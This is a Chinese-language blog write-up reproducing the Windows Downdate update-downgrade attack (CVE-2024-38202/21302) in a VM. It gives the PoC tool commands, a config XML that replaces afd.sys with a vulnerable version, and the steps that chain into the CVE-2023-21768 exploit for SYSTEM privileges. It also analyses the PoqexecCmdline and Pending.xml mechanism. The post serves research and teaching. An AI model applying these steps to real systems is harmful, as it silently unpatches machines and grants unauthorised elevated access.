抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

SafeBreach 的安全研究员 Alon Leviev 在 Black Hat 2024 上揭示了两个漏洞CVE-2024-38202 和 CVE-2024-21302 ,可用于破坏 Windows 更新的完整性并重新引入数千个以前修复的漏洞,从而将修补后的系统重新变成 0day 漏洞的目标。

环境准备

Windows版本:Windows 11 消费者版本 23H2(2024年6月更新)x64

磁力连接

下载后导入到 VMware。

PoC 工具下载

https://github.com/SafeBreach-Labs/WindowsDowndate
仓库中也提供了 PyInstaller 构建好的可执行程序。

漏洞复现

运行 winver 看一下版本:Windows11 23H2 22631.3880
winver

以管理员权限运行PoC程序,降级到 CVE-2023-21768 可攻击的环境(AFD 驱动):

1
./windows_downdate --config-xml examples/CVE-2023-21768-AFD-Driver-EoP-Patch-Downgrade/Config.xml

downdate

需要重启,重启完成后运行cmd。
切换到 CVE-2023-21768 利用程序目录,运行 whomai 可知目前是普通用户。
找到当前 cmd 的 pid:

1
tasklist | find "cmd.exe"

运行 CVE-2023-21768 利用程序,指定要提升权限的进程为当前 cmd 进程:

1
.\Windows_AFD_LPE_CVE-2023-21768.exe <pid>

exp

再次运行 whoami 发现已经拿到 system 权限。

漏洞分析

我能够使完全修补的 Windows 机器容易受到数千个过去漏洞的影响,将修复的漏洞变成零日漏洞,并使“完全修补”一词在世界上任何 Windows 机器上都毫无意义。

Windows 更新流程

首先需要知道的是,Windows 的更新需要客户端管理权限,而更新服务器会运行受信任的安装程序来完成更新。即使是 SYSTEM 权限,也不能修改 Windows 更细节机制拥有的系统文件。

Windows 更新流程包括以下步骤:

  1. 首先,客户端要求服务器执行它提供的更新文件夹中包含的更新。
  2. 然后,服务器验证更新文件夹的完整性。
  3. 验证后,服务器将对更新文件夹进行操作,以完成更新文件。它们被保存到服务器控制的文件夹中,客户端无法访问该文件夹。
  4. 服务器将操作列表保存到服务器控制的文件夹中,客户端无法访问该文件夹。操作列表名为 Pending.xml,其中包含要执行的更新操作。例如,它指定要更新的文件、源文件和目标文件等。
  5. 最后,当操作系统重启时,将对操作列表进行操作,并在重启过程中执行更新操作。

其中第5步的更新是由受信任的安装程序在服务器端强制执行的,管理员想要提权到受信任安装程序权限会被 EDR(Endpoint Detection and Response) 阻止。因此想要代替更新服务器来完成更新是不可能的

作者一开始的目标是更新文件夹中的差异文件。但是 manifest 里硬编码了更新文件的哈希值,而更改这个值会破坏 manifest 文件的签名(在 catalog 文件中)。

漏洞点

于是作者把目标放在了操作列表(pending.xml)的修改上,并发现了注册表一个名为PoqexecCmdline的有趣的 key,它包含了一个可以解析操作列表和操作列表路径的可执行程序。其路径为HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SideBySide\Configuration\PoqexecCmdline

而且这个 key 不是由受信任的安装程序强制执行,意味着我们可以用管理员权限来修改添加这个key并修改其值。这个 key 的作用是什么呢?它标志着需要更新,受信任安装服务在检测到这个 key 后,会将其值作为命令执行,而这个命令可以用于解析操作列表及其路径,这意味着修改这个 key 也就完全控制了操作列表
源代码中定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
def register_poqexec_cmd(poqexec_cmd: str) -> None:
"""
Registers the PoqexecCmdLine registry key containing the Pending.xml path

:param poqexec_cmd: The PoqExec.exe command line. Usually it is as follows -
path/to/poqexec.exe params pending_xml_nt_path
:return: None
"""
set_reg_value(winreg.HKEY_LOCAL_MACHINE,
SIDE_BY_SIDE_CONFIGURATION_REGISTRY_PATH,
"PoqexecCmdline",
[poqexec_cmd],
winreg.REG_MULTI_SZ)

源代码中调用:

1
2
3
4
5
def pend_update(pending_xml_path: str, impersonate_ti: bool) -> None:
...
poqexec_path_exp = os.path.expandvars(POQEXEC_PATH)
poqexec_cmd = f"{poqexec_path_exp} /display_progress \\??\\{pending_xml_path}"
register_poqexec_cmd(poqexec_cmd)

可以发现程序生成了一行完整的poqexec.exe命令并将其写为了这个 key 的值,其中pending_xml_path也由我们控制,其相应文件中内容就是我们之前运行的命令中--config-xml选项后指定的 xml 文件内容。

这个xml,即操作列表(pending.xml)提供创建文件、删除文件、移动文件、硬链接文件、创建注册表键和值、删除键和值等功能。例如,为了降级,可以使用硬链接文件操作,source 文件将替换 destination:

1
<HardlinkFile source="C:\UpdateDir\Source.exe" destination="C:\Windows\System32\Destination.exe"/>

将 destination 设置为要降级的目标文件,将 source 替换为降级后的文件即可。

攻击流程

攻击的主要思想就是修改操作列表。但是还需要经过一些验证/找到触发更新操作的方式,主要流程如下:

  1. 将受信任安装服务设置为自启动,这样重启系统后会检查是否需要更新
  2. 在注册表中添加PoqexecCmdline及相应的值,指定操作列表路径
  3. 添加操作列表的标识符
    标识符是一个动态数字,出于完整性目的,将它与操作列表的标识符进行比较。从代码中可以看到,在 xml 中设置的标识符要和在注册表中 PendingXmlIdentifier 的值一样。
    1
    2
    3
    4
    5
    6
    7
    8
    PENDING_XML_IDENTIFIER = "916ae75edb30da0146730000dc1be027"

    EMPTY_PENDING_XML = f"""<?xml version='1.0' encoding='utf-8'?>\n
    <PendingTransaction Version="3.1" WcpVersion="10.0.22621.2567 (WinBuild.160101.0800)" Identifier="{PENDING_XML_IDENTIFIER}">
    ...
    """
    ...
    set_pending_xml_identifier(PENDING_XML_IDENTIFIER)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    def set_pending_xml_identifier(pending_xml_identifier: str) -> None:
    """
    Sets the Pendning.xml identifier in registry

    :param pending_xml_identifier: The Pending.xml identifier
    :return: None
    :note: This API assumes the COMPONENTS hive is loaded to the registry
    :note: If this identifier is not equal to the Pending.xml identifier, PoqExec.exe will fail parsing Pending.xml
    """
    pending_xml_identifier_bytes = bytes(pending_xml_identifier, "utf-8")
    pending_xml_identifier_unicode = b"\x00".join(bytes([byte]) for byte in pending_xml_identifier_bytes) + b"\x00"
    set_reg_value(winreg.HKEY_LOCAL_MACHINE,
    "COMPONENTS",
    "PendingXmlIdentifier",
    pending_xml_identifier_unicode,
    winreg.REG_BINARY)

先前,在执行 PoC 代码后,我们重启并完成了对另一个漏洞的攻击。
在这个过程中:

  1. Windows 更新机制中的受信任安装服务自启动
  2. 检测到PoqexecCmdline,执行其中命令设置操作列表路径
  3. 受信任安装程序根据我们构建的 xml 文件进行更新,导致文件被替换成低版本脆弱文件
  4. 降级攻击完成

由于这个过程被 Windows 更新机制接管,因此十分隐蔽。

更多

原文中还提到绕过 VBS(Virtualization-Based Security) UEFI 锁等内容,这里只对降级攻击做简单介绍,感兴趣可以看原文。

自定义降级攻击

Windows 降级支持制作自定义降级。要制作自定义降级,你需要创建一个配置 XML 文件,然后将此配置 XML 输入工具即可。

在 CVE-2023-21768 的攻击中,我们用到的 XML 文件如下:

1
2
3
4
5
<Configuration>
<UpdateFilesList>
<UpdateFile source="%CWD%\examples\CVE-2023-21768-AFD-Driver-EoP-Patch-Downgrade\UpdateFiles\afd.sys" destination="C:\Windows\System32\Drivers\afd.sys" />
</UpdateFilesList>
</Configuration>

原理非常简单,就是定义用于替换的文件路径和目标文件路径。
只要是 Windows 下与系统文件版本有关的漏洞就可以自定义降级攻击。

结语

Windows 对于安全边界的划分似乎总是异于常人啊。。。

Max Severity: Important

Attack Complexity: Low

Privileges Required: Low

Exploit Code Maturity: Proof-of-Concept

Remediation Level: Unavailable

前几条和最后一条竟能同时出现在同一则安全公告中,真乃神人也。

评论